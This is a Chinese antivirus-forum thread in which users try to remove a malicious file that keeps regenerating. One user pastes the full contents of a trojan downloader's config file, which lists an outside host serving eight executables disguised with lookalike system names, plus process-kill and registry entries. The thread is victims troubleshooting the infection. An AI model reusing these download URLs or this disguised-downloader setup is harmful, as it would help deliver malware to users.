瑞星卡卡安全论坛

卡巴总是提示它要启动，但是无法删除？
手动删除后又自动生成。如果启动了，就无法中止。

我在好多机器上都见过
但都是没被加载直接删掉了
如果运行中就结束掉不行就IceSword
我发现的都和其他一temp文件夹下的东西一起生成的
好好查查那几个流行的位置

删掉后它又自动生成。[url][/url][img][/img][img][/img]

有没这些

附件: 79532220061229153417.JPG

建议格盘重装

和楼主问题一样，有009.mdb内容如下。已过滤“h2tp：//testhtml28.zjidc.21qy.com/”，并且删除009.mdb和009[1].mdb 不过重启后还有009.mdb，009[1].mdb ，请教如何才能彻底清除这俩mdb文件。以前中过类似的，说是连qq的TIMplatform.exe感染了，当时也删了。后来消停了一段儿，最近又来了。真搞不懂这些mdb都是怎么回来的。

＝＝＝＝＝＝＝
[DOWNLOADNUMS]

updatetm=4
downfile=8
killproc=0


[STARTHTMPAGE]

;mainpage=http://www.sina.com.cn

[DOWNMAINLIST]

mainfile=http://testhtml28.zjidc.21qy.com/images/007.exe

[DOWNFILELIST]

downfile1=http://testhtml28.zjidc.21qy.com/images/ldas.exe
downfile2=http://testhtml28.zjidc.21qy.com/images/SVCH0ST.exe
downfile3=http://testhtml28.zjidc.21qy.com/images/IEXPL0RE.exe
downfile4=http://testhtml28.zjidc.21qy.com/images/SC0NFIG.exe
downfile5=http://testhtml28.zjidc.21qy.com/images/TIMPLATF0RM.exe
downfile6=http://testhtml28.zjidc.21qy.com/images/SPy.exe
downfile7=http://testhtml28.zjidc.21qy.com/images/IECONFIG.exe
downfile8=http://testhtml28.zjidc.21qy.com/images/MDCONFIG.EXE

[DOWNKILLLIST]

killproc1=CDPLAYER.EXE

[REMOVREGLIST]

removreg1=HKEY_LOCAL_MACHINE\SOFTWARE\C07ft5Y\WinXP*test
＝＝＝＝＝＝＝